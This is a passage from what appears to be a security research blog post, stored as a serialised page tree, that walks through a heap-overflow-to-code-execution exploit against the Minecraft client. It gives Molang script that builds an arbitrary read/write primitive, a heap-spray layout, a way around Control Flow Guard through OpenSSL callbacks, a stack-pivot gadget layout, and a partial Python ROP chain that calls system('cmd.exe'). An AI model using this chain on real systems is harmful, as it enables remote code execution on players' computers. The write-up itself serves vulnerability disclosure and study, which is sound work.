variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[153013],{"type":23,"tag":135,"props":153014,"children":153015},{"__ignoreMap":7},[153016],{"type":28,"value":153011},{"type":23,"tag":16900,"props":153018,"children":153020},{"id":153019},"required-heap-layout",[153021],{"type":28,"value":153022},"Required Heap Layout",{"type":23,"tag":24,"props":153024,"children":153025},{},[153026],{"type":28,"value":153027},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":23,"tag":128,"props":153029,"children":153031},{"code":153030},"    Heap Region 1                Heap Region 2    \n                                                  \n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n",[153032],{"type":23,"tag":135,"props":153033,"children":153034},{"__ignoreMap":7},[153035],{"type":28,"value":153030},{"type":23,"tag":24,"props":153037,"children":153038},{},[153039,153041,153047,153049,153054,153056,153061,153063,153068,153069,153074],{"type":28,"value":153040},"The first region (",{"type":23,"tag":135,"props":153042,"children":153044},{"className":153043},[],[153045],{"type":28,"value":153046},"Heap Region 1",{"type":28,"value":153048},") contains alternating ",{"type":23,"tag":135,"props":153050,"children":153052},{"className":153051},[],[153053],{"type":28,"value":150832},{"type":28,"value":153055},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":23,"tag":135,"props":153057,"children":153059},{"className":153058},[],[153060],{"type":28,"value":150862},{"type":28,"value":153062}," pointers of ",{"type":23,"tag":135,"props":153064,"children":153066},{"className":153065},[],[153067],{"type":28,"value":150832},{"type":28,"value":9002},{"type":23,"tag":135,"props":153070,"children":153072},{"className":153071},[],[153073],{"type":28,"value":151008},{"type":28,"value":153075}," from the entity object for our main attack.",{"type":23,"tag":24,"props":153077,"children":153078},{},[153079,153081,153087,153089,153094,153096,153101,153103,153108,153110,153115],{"type":28,"value":153080},"The second region (",{"type":23,"tag":135,"props":153082,"children":153084},{"className":153083},[],[153085],{"type":28,"value":153086},"Heap Region 2",{"type":28,"value":153088},") contains interleaved ",{"type":23,"tag":135,"props":153090,"children":153092},{"className":153091},[],[153093],{"type":28,"value":151008},{"type":28,"value":153095},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":23,"tag":135,"props":153097,"children":153099},{"className":153098},[],[153100],{"type":28,"value":152843},{"type":28,"value":153102}," pointer into ",{"type":23,"tag":135,"props":153104,"children":153106},{"className":153105},[],[153107],{"type":28,"value":152772},{"type":28,"value":153109}," during our main attack. It could be any object with a ",{"type":23,"tag":135,"props":153111,"children":153113},{"className":153112},[],[153114],{"type":28,"value":152843},{"type":28,"value":153116},", but for simplicity we use the entity object.",{"type":23,"tag":24,"props":153118,"children":153119},{},[153120,153122,153128,153130,153135],{"type":28,"value":153121},"During the attack, overwriting another variable's pointer with\n",{"type":23,"tag":135,"props":153123,"children":153125},{"className":153124},[],[153126],{"type":28,"value":153127},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":28,"value":153129}," will very likely clobber the ",{"type":23,"tag":135,"props":153131,"children":153133},{"className":153132},[],[153134],{"type":28,"value":151328},{"type":28,"value":153136}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":23,"tag":24,"props":153138,"children":153139},{},[153140],{"type":28,"value":153141},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":23,"tag":24,"props":153143,"children":153144},{},[153145],{"type":28,"value":153146},"The final exploit proceeds in three stages:",{"type":23,"tag":797,"props":153148,"children":153149},{},[153150,153155,153160],{"type":23,"tag":801,"props":153151,"children":153152},{},[153153],{"type":28,"value":153154},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":23,"tag":801,"props":153156,"children":153157},{},[153158],{"type":28,"value":153159},"Perform the heap spray with signs to create the desired layout for the attack",{"type":23,"tag":801,"props":153161,"children":153162},{},[153163],{"type":28,"value":153164},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":23,"tag":16900,"props":153166,"children":153168},{"id":153167},"initial-corruption-variant-lfh-heap-approach",[153169],{"type":28,"value":153170},"Initial Corruption Variant: LFH Heap Approach",{"type":23,"tag":24,"props":153172,"children":153173},{},[153174],{"type":28,"value":153175},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":23,"tag":24,"props":153177,"children":153178},{},[153179,153181,153186,153187,153193],{"type":28,"value":153180},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":23,"tag":135,"props":153182,"children":153184},{"className":153183},[],[153185],{"type":28,"value":151075},{"type":28,"value":4490},{"type":23,"tag":135,"props":153188,"children":153190},{"className":153189},[],[153191],{"type":28,"value":153192},"last_index",{"type":28,"value":153194}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":23,"tag":24,"props":153196,"children":153197},{},[153198,153200,153205,153206,153211,153213,153218,153220,153225,153227,153232,153234,153240,153241,153247,153248,153254],{"type":28,"value":153199},"The main attack can be arranged by making the resulting index point at the ",{"type":23,"tag":135,"props":153201,"children":153203},{"className":153202},[],[153204],{"type":28,"value":148028},{"type":28,"value":151813},{"type":23,"tag":135,"props":153207,"children":153209},{"className":153208},[],[153210],{"type":28,"value":151008},{"type":28,"value":153212},". From there, the script can overwrite three variable indices at offset ",{"type":23,"tag":135,"props":153214,"children":153216},{"className":153215},[],[153217],{"type":28,"value":150766},{"type":28,"value":153219}," within the ",{"type":23,"tag":135,"props":153221,"children":153223},{"className":153222},[],[153224],{"type":28,"value":151008},{"type":28,"value":153226}," by using the string type. This works because a Molang string's value is just a ",{"type":23,"tag":135,"props":153228,"children":153230},{"className":153229},[],[153231],{"type":28,"value":53533},{"type":28,"value":153233}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":23,"tag":135,"props":153235,"children":153237},{"className":153236},[],[153238],{"type":28,"value":153239},"0xfb",{"type":28,"value":1052},{"type":23,"tag":135,"props":153242,"children":153244},{"className":153243},[],[153245],{"type":28,"value":153246},"0xfc",{"type":28,"value":9002},{"type":23,"tag":135,"props":153249,"children":153251},{"className":153250},[],[153252],{"type":28,"value":153253},"0xfd",{"type":28,"value":153255}," the script would do:",{"type":23,"tag":128,"props":153257,"children":153259},{"code":153258},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[153260],{"type":23,"tag":135,"props":153261,"children":153262},{"__ignoreMap":7},[153263],{"type":28,"value":153258},{"type":23,"tag":24,"props":153265,"children":153266},{},[153267,153269,153274,153275,153281,153283,153288],{"type":28,"value":153268},"That line would write the ",{"type":23,"tag":135,"props":153270,"children":153272},{"className":153271},[],[153273],{"type":28,"value":53533},{"type":28,"value":90077},{"type":23,"tag":135,"props":153276,"children":153278},{"className":153277},[],[153279],{"type":28,"value":153280},"0x302700fb00fc00fd",{"type":28,"value":153282}," (string's FNV-1 hash) into the allocated ",{"type":23,"tag":135,"props":153284,"children":153286},{"className":153285},[],[153287],{"type":28,"value":151008},{"type":28,"value":153289}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":23,"tag":666,"props":153291,"children":153293},{"id":153292},"hijacking-execution",[153294],{"type":28,"value":153295},"Hijacking Execution",{"type":23,"tag":24,"props":153297,"children":153298},{},[153299,153301,153306,153308,153314],{"type":28,"value":153300},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":23,"tag":135,"props":153302,"children":153304},{"className":153303},[],[153305],{"type":28,"value":152843},{"type":28,"value":153307}," and function pointers in the writable ",{"type":23,"tag":135,"props":153309,"children":153311},{"className":153310},[],[153312],{"type":28,"value":153313},".data",{"type":28,"value":153315}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":23,"tag":24,"props":153317,"children":153318},{},[153319],{"type":28,"value":153320},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":23,"tag":24,"props":153322,"children":153323},{},[153324],{"type":28,"value":153325},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":23,"tag":24,"props":153327,"children":153328},{},[153329],{"type":23,"tag":429,"props":153330,"children":153332},{"alt":48476,"src":153331},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":23,"tag":24,"props":153334,"children":153335},{},[153336,153338,153344,153346,153352,153354,153359,153361,153366,153368,153374,153376,153381,153383,153389,153391,153396],{"type":28,"value":153337},"This snippet calls a method on an object: ",{"type":23,"tag":135,"props":153339,"children":153341},{"className":153340},[],[153342],{"type":28,"value":153343},"rcx",{"type":28,"value":153345}," holds the object pointer, the first ",{"type":23,"tag":135,"props":153347,"children":153349},{"className":153348},[],[153350],{"type":28,"value":153351},"mov",{"type":28,"value":153353}," loads the object's ",{"type":23,"tag":135,"props":153355,"children":153357},{"className":153356},[],[153358],{"type":28,"value":152843},{"type":28,"value":153360}," into ",{"type":23,"tag":135,"props":153362,"children":153364},{"className":153363},[],[153365],{"type":28,"value":54673},{"type":28,"value":153367},", and the function pointer at ",{"type":23,"tag":135,"props":153369,"children":153371},{"className":153370},[],[153372],{"type":28,"value":153373},"rax + 0x8",{"type":28,"value":153375}," is read into ",{"type":23,"tag":135,"props":153377,"children":153379},{"className":153378},[],[153380],{"type":28,"value":54673},{"type":28,"value":153382},". Finally, ",{"type":23,"tag":135,"props":153384,"children":153386},{"className":153385},[],[153387],{"type":28,"value":153388},"__guard_dispatch_icall_fptr",{"type":28,"value":153390}," is called - this is the CFG dispatch function that validates ",{"type":23,"tag":135,"props":153392,"children":153394},{"className":153393},[],[153395],{"type":28,"value":54673},{"type":28,"value":153397}," as a legal call target before invoking it.",{"type":23,"tag":24,"props":153399,"children":153400},{},[153401],{"type":28,"value":153402},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":23,"tag":24,"props":153404,"children":153405},{},[153406],{"type":23,"tag":429,"props":153407,"children":153409},{"alt":48476,"src":153408},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":23,"tag":24,"props":153411,"children":153412},{},[153413,153415,153421,153423,153429],{"type":28,"value":153414},"Here, the function pointer at ",{"type":23,"tag":135,"props":153416,"children":153418},{"className":153417},[],[153419],{"type":28,"value":153420},"vtable + 0x10",{"type":28,"value":153422}," is loaded into ",{"type":23,"tag":135,"props":153424,"children":153426},{"className":153425},[],[153427],{"type":28,"value":153428},"rdx",{"type":28,"value":153430}," and then called directly.",{"type":23,"tag":24,"props":153432,"children":153433},{},[153434],{"type":28,"value":153435},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":23,"tag":24,"props":153437,"children":153438},{},[153439,153441,153446],{"type":28,"value":153440},"So the remaining task is to locate OpenSSL function or ",{"type":23,"tag":135,"props":153442,"children":153444},{"className":153443},[],[153445],{"type":28,"value":152843},{"type":28,"value":153447}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":23,"tag":16900,"props":153449,"children":153451},{"id":153450},"locating-overwrite-targets",[153452],{"type":28,"value":153453},"Locating Overwrite Targets",{"type":23,"tag":24,"props":153455,"children":153456},{},[153457,153459,153465,153466,153471,153473,153478,153480,153486],{"type":28,"value":153458},"One of the first targets we identified were the ",{"type":23,"tag":135,"props":153460,"children":153462},{"className":153461},[],[153463],{"type":28,"value":153464},"malloc",{"type":28,"value":9002},{"type":23,"tag":135,"props":153467,"children":153469},{"className":153468},[],[153470],{"type":28,"value":148076},{"type":28,"value":153472}," callbacks. These reside in the ",{"type":23,"tag":135,"props":153474,"children":153476},{"className":153475},[],[153477],{"type":28,"value":153313},{"type":28,"value":153479}," section and are invoked whenever they don’t match the expected ",{"type":23,"tag":135,"props":153481,"children":153483},{"className":153482},[],[153484],{"type":28,"value":153485},"OPENSSL_malloc/free",{"type":28,"value":129934},{"type":23,"tag":24,"props":153488,"children":153489},{},[153490],{"type":23,"tag":429,"props":153491,"children":153493},{"alt":48476,"src":153492},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":23,"tag":24,"props":153495,"children":153496},{},[153497],{"type":28,"value":153498},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":23,"tag":24,"props":153500,"children":153501},{},[153502,153504,153510,153512,153518,153520,153525],{"type":28,"value":153503},"Later, we found another promising function: ",{"type":23,"tag":135,"props":153505,"children":153507},{"className":153506},[],[153508],{"type":28,"value":153509},"ossl_ec_key_new_method_int",{"type":28,"value":153511},". This function creates and initializes an ",{"type":23,"tag":135,"props":153513,"children":153515},{"className":153514},[],[153516],{"type":28,"value":153517},"EC_KEY",{"type":28,"value":153519}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":23,"tag":135,"props":153521,"children":153523},{"className":153522},[],[153524],{"type":28,"value":153313},{"type":28,"value":153526},") containing function pointers:",{"type":23,"tag":24,"props":153528,"children":153529},{},[153530],{"type":23,"tag":429,"props":153531,"children":153533},{"alt":48476,"src":153532},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":23,"tag":24,"props":153535,"children":153536},{},[153537,153539,153545,153546,153552,153554,153559,153561,153567,153569,153574,153576,153581,153583,153588],{"type":28,"value":153538},"In the image above, ",{"type":23,"tag":135,"props":153540,"children":153542},{"className":153541},[],[153543],{"type":28,"value":153544},"ret->meth",{"type":28,"value":123398},{"type":23,"tag":135,"props":153547,"children":153549},{"className":153548},[],[153550],{"type":28,"value":153551},"default_ec_key_meth",{"type":28,"value":153553},", which points to a structure of function pointers located in ",{"type":23,"tag":135,"props":153555,"children":153557},{"className":153556},[],[153558],{"type":28,"value":153313},{"type":28,"value":153560},". It then calls ",{"type":23,"tag":135,"props":153562,"children":153564},{"className":153563},[],[153565],{"type":28,"value":153566},"ret->meth->init",{"type":28,"value":153568},", passing the ",{"type":23,"tag":135,"props":153570,"children":153572},{"className":153571},[],[153573],{"type":28,"value":15706},{"type":28,"value":153575}," pointer (",{"type":23,"tag":135,"props":153577,"children":153579},{"className":153578},[],[153580],{"type":28,"value":9000},{"type":28,"value":153582},"). This alone isn’t especially useful because ",{"type":23,"tag":135,"props":153584,"children":153586},{"className":153585},[],[153587],{"type":28,"value":9000},{"type":28,"value":153589}," is heap-allocated.",{"type":23,"tag":24,"props":153591,"children":153592},{},[153593,153595,153600],{"type":28,"value":153594},"But, if we look at how ",{"type":23,"tag":135,"props":153596,"children":153598},{"className":153597},[],[153599],{"type":28,"value":153566},{"type":28,"value":153601}," is invoked in the disassembly:",{"type":23,"tag":24,"props":153603,"children":153604},{},[153605],{"type":23,"tag":429,"props":153606,"children":153608},{"alt":48476,"src":153607},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":23,"tag":24,"props":153610,"children":153611},{},[153612,153613,153618,153620,153625,153627,153632,153634,153639,153641,153646,153648,153653,153655,153660,153662,153668],{"type":28,"value":5483},{"type":23,"tag":135,"props":153614,"children":153616},{"className":153615},[],[153617],{"type":28,"value":153566},{"type":28,"value":153619}," is not ",{"type":23,"tag":135,"props":153621,"children":153623},{"className":153622},[],[153624],{"type":28,"value":52394},{"type":28,"value":153626},", it is called while ",{"type":23,"tag":135,"props":153628,"children":153630},{"className":153629},[],[153631],{"type":28,"value":54673},{"type":28,"value":153633}," still contains the value of ",{"type":23,"tag":135,"props":153635,"children":153637},{"className":153636},[],[153638],{"type":28,"value":153544},{"type":28,"value":153640}," - that is, a pointer to the structure in ",{"type":23,"tag":135,"props":153642,"children":153644},{"className":153643},[],[153645],{"type":28,"value":153313},{"type":28,"value":153647}," that we control. This is ideal, because we can overwrite ",{"type":23,"tag":135,"props":153649,"children":153651},{"className":153650},[],[153652],{"type":28,"value":153551},{"type":28,"value":153654}," with a pointer to a region in ",{"type":23,"tag":135,"props":153656,"children":153658},{"className":153657},[],[153659],{"type":28,"value":153313},{"type":28,"value":153661}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":23,"tag":135,"props":153663,"children":153665},{"className":153664},[],[153666],{"type":28,"value":153667},"mov rsp, rax; ret",{"type":28,"value":153669},"-style gadget.",{"type":23,"tag":24,"props":153671,"children":153672},{},[153673,153675,153680,153682,153687],{"type":28,"value":153674},"Although we discovered that ",{"type":23,"tag":135,"props":153676,"children":153678},{"className":153677},[],[153679],{"type":28,"value":153509},{"type":28,"value":153681}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":23,"tag":135,"props":153683,"children":153685},{"className":153684},[],[153686],{"type":28,"value":153485},{"type":28,"value":153688}," callbacks.",{"type":23,"tag":16900,"props":153690,"children":153692},{"id":153691},"stack-pivot",[153693],{"type":28,"value":153694},"Stack Pivot",{"type":23,"tag":24,"props":153696,"children":153697},{},[153698,153700,153705,153707,153712,153714,153719,153721,153727],{"type":28,"value":153699},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":23,"tag":135,"props":153701,"children":153703},{"className":153702},[],[153704],{"type":28,"value":153313},{"type":28,"value":153706},", overwrite ",{"type":23,"tag":135,"props":153708,"children":153710},{"className":153709},[],[153711],{"type":28,"value":153551},{"type":28,"value":153713}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":23,"tag":135,"props":153715,"children":153717},{"className":153716},[],[153718],{"type":28,"value":153509},{"type":28,"value":153720},". This ultimately calls ",{"type":23,"tag":135,"props":153722,"children":153724},{"className":153723},[],[153725],{"type":28,"value":153726},"default_ec_key_meth->init",{"type":28,"value":153728},", which executes the pivot and begins ROP execution.",{"type":23,"tag":24,"props":153730,"children":153731},{},[153732,153734,153740,153742,153748],{"type":28,"value":153733},"We chose to overwrite the ",{"type":23,"tag":135,"props":153735,"children":153737},{"className":153736},[],[153738],{"type":28,"value":153739},"OPENSSL_free",{"type":28,"value":153741}," callback. This produces only a minor memory leak, while overwriting ",{"type":23,"tag":135,"props":153743,"children":153745},{"className":153744},[],[153746],{"type":28,"value":153747},"OPENSSL_malloc",{"type":28,"value":153749}," would require our replacement function to return a writable, unused memory region.",{"type":23,"tag":24,"props":153751,"children":153752},{},[153753,153755,153761,153762,153768,153770,153775],{"type":28,"value":153754},"For the stack pivot, we found two useful gadgets: ",{"type":23,"tag":135,"props":153756,"children":153758},{"className":153757},[],[153759],{"type":28,"value":153760},"add rsp, 0x10; pop r14; ret",{"type":28,"value":9002},{"type":23,"tag":135,"props":153763,"children":153765},{"className":153764},[],[153766],{"type":28,"value":153767},"xchg rsp, rax; ret",{"type":28,"value":153769},". The exploit writes them into ",{"type":23,"tag":135,"props":153771,"children":153773},{"className":153772},[],[153774],{"type":28,"value":153313},{"type":28,"value":153776}," like this:",{"type":23,"tag":128,"props":153778,"children":153780},{"code":153779},"      +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n      +-----------------------------+\n+0x08 | padding                     |\n      +-----------------------------+\n+0x10 | xchg rsp, rax; ret          |\n      +-----------------------------+\n+0x18 | padding (pop r14)           |\n      +-----------------------------+\n+0x20 | ROP Chain                   |\n      +-----------------------------+\n",[153781],{"type":23,"tag":135,"props":153782,"children":153783},{"__ignoreMap":7},[153784],{"type":28,"value":153779},{"type":23,"tag":24,"props":153786,"children":153787},{},[153788,153790,153795,153797,153802,153804,153809,153811,153816,153818,153823,153825,153830,153832,153837],{"type":28,"value":153789},"The second gadget, ",{"type":23,"tag":135,"props":153791,"children":153793},{"className":153792},[],[153794],{"type":28,"value":153767},{"type":28,"value":153796},", is placed in the slot corresponding to the ",{"type":23,"tag":135,"props":153798,"children":153800},{"className":153799},[],[153801],{"type":28,"value":18748},{"type":28,"value":153803}," function pointer. As mentioned earlier, when ",{"type":23,"tag":135,"props":153805,"children":153807},{"className":153806},[],[153808],{"type":28,"value":153566},{"type":28,"value":153810}," is called, ",{"type":23,"tag":135,"props":153812,"children":153814},{"className":153813},[],[153815],{"type":28,"value":54673},{"type":28,"value":153817}," contains a pointer to ",{"type":23,"tag":135,"props":153819,"children":153821},{"className":153820},[],[153822],{"type":28,"value":153551},{"type":28,"value":153824}," - which we have overwritten and now points to our ",{"type":23,"tag":135,"props":153826,"children":153828},{"className":153827},[],[153829],{"type":28,"value":153760},{"type":28,"value":153831}," gadget in ",{"type":23,"tag":135,"props":153833,"children":153835},{"className":153834},[],[153836],{"type":28,"value":153313},{"type":28,"value":73},{"type":23,"tag":24,"props":153839,"children":153840},{},[153841,153843,153849,153851,153856,153858,153864,153866,153871,153873,153878,153880,153885,153887,153892,153894,153899,153901,153906],{"type":28,"value":153842},"When the call occurs, ",{"type":23,"tag":135,"props":153844,"children":153846},{"className":153845},[],[153847],{"type":28,"value":153848},"xchg rsp, rax",{"type":28,"value":153850}," swaps the stack pointer with this controlled pointer inside ",{"type":23,"tag":135,"props":153852,"children":153854},{"className":153853},[],[153855],{"type":28,"value":153313},{"type":28,"value":153857},", effectively moving ",{"type":23,"tag":135,"props":153859,"children":153861},{"className":153860},[],[153862],{"type":28,"value":153863},"rsp",{"type":28,"value":153865}," into our ROP region. After the ",{"type":23,"tag":135,"props":153867,"children":153869},{"className":153868},[],[153870],{"type":28,"value":9000},{"type":28,"value":153872},", execution continues at ",{"type":23,"tag":135,"props":153874,"children":153876},{"className":153875},[],[153877],{"type":28,"value":153760},{"type":28,"value":153879},", which advances ",{"type":23,"tag":135,"props":153881,"children":153883},{"className":153882},[],[153884],{"type":28,"value":153863},{"type":28,"value":153886}," by ",{"type":23,"tag":135,"props":153888,"children":153890},{"className":153889},[],[153891],{"type":28,"value":42429},{"type":28,"value":153893}," bytes, skipping over the padding and the ",{"type":23,"tag":135,"props":153895,"children":153897},{"className":153896},[],[153898],{"type":28,"value":153767},{"type":28,"value":153900}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":23,"tag":135,"props":153902,"children":153904},{"className":153903},[],[153905],{"type":28,"value":153767},{"type":28,"value":153907},") begins executing.",{"type":23,"tag":666,"props":153909,"children":153911},{"id":153910},"rop-chain",[153912],{"type":28,"value":153913},"ROP Chain",{"type":23,"tag":24,"props":153915,"children":153916},{},[153917,153919,153925,153927,153932],{"type":28,"value":153918},"For the demo, the ROP chain simply calls ",{"type":23,"tag":135,"props":153920,"children":153922},{"className":153921},[],[153923],{"type":28,"value":153924},"system(\"cmd.exe\")",{"type":28,"value":153926},". Because Minecraft does not use ",{"type":23,"tag":135,"props":153928,"children":153930},{"className":153929},[],[153931],{"type":28,"value":129656},{"type":28,"value":153933},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":23,"tag":24,"props":153935,"children":153936},{},[153937,153939,153945,153947,153953,153955,153960,153962,153968,153970,153975],{"type":28,"value":153938},"This is straightforward: the chain first calls ",{"type":23,"tag":135,"props":153940,"children":153942},{"className":153941},[],[153943],{"type":28,"value":153944},"GetModuleHandle(\"ucrtbase.dll\")",{"type":28,"value":153946}," to obtain the base address of ",{"type":23,"tag":135,"props":153948,"children":153950},{"className":153949},[],[153951],{"type":28,"value":153952},"ucrtbase.dll",{"type":28,"value":153954}," (which exports ",{"type":23,"tag":135,"props":153956,"children":153958},{"className":153957},[],[153959],{"type":28,"value":129656},{"type":28,"value":153961},"). It then calls ",{"type":23,"tag":135,"props":153963,"children":153965},{"className":153964},[],[153966],{"type":28,"value":153967},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":28,"value":153969}," to retrieve the function’s address. Finally, it invokes ",{"type":23,"tag":135,"props":153971,"children":153973},{"className":153972},[],[153974],{"type":28,"value":129656},{"type":28,"value":153976}," with the \"cmd.exe\" string.",{"type":23,"tag":24,"props":153978,"children":153979},{},[153980],{"type":28,"value":153981},"In the exploit script, the ROP chain looks something like this:",{"type":23,"tag":128,"props":153983,"children":153985},{"code":153984,"language":235,"meta":7,"className":233,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[153986],{"type":23,"tag":135,"props":153987,"children":153988},{"__ignoreMap":7},[153989,153997,154005,154030,154038,154046,154053,154061,154069,154096,154109,154122,154143,154172,154201,154208,154216,154229,154237,154273,154281,154288,154296,154303,154328,154339,154351],{"type":23,"tag":139,"props":153990,"children":153991},{"class":141,"line":142},[153992],{"type":23,"tag":139,"props":153993,"children":153994},{"style":958},[153995],{"type":28,"value":153996},"# get the address of `GetModuleHandle` to `rax`\n",{"type":23,"tag":139,"props":153998,"children":153999},{"class":141,"line":151},[154000],{"type":23,"tag":139,"props":154001,"children":154002},{"style":259},[154003],{"type":28,"value":154004},"rop.gadget(pop_r8)\n",{"type":23,"tag":139,"props":154006,"children":154007},{"class":141,"line":160},[154008,154013,154017,154022,154026],{"type":23,"tag":139,"props":154009,"children":154010},{"style":259},[154011],{"type":28,"value":154012},"rop.gadget(addr_get_module_handle_a ",{"type":23,"tag":139,"props":154014,"children":154015},{"style":982},[154016],{"type":28,"value":2328},{"type":23,"tag":139,"props":154018,"children":154019},{"style":279},[154020],{"type":28,"value":154021}," 0x",{"type":23,"tag":139,"props":154023,"children":154024},{"style":1016},[154025],{"type":28,"value":132773},{"type":23,"tag":139,"props":154027,"children":154028},{"style":259},[154029],{"type":28,"value":273},{"type":23,"tag":139,"props":154031,"children":154032},{"class":141,"line":169},[154033],{"type":23,"tag":139,"props":154034,"children":154035},{"style":958},[154036],{"type":28,"value":154037},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":23,"tag":139,"props":154039,"children":154040},{"class":141,"line":178},[154041],{"type":23,"tag":139,"props":154042,"children":154043},{"style":259},[154044],{"type":28,"value":154045},"rop.gadget(mov_rax_r8_28)\n",{"type":23,"tag":139,"props":154047,"children":154048},{"class":141,"line":187},[154049],{"type":23,"tag":139,"props":154050,"children":154051},{"emptyLinePlaceholder":15},[154052],{"type":28,"value":184},{"type":23,"tag":139,"props":154054,"children":154055},{"class":141,"line":196},[154056],{"type":23,"tag":139,"props":154057,"children":154058},{"style":958},[154059],{"type":28,"value":154060},"# call 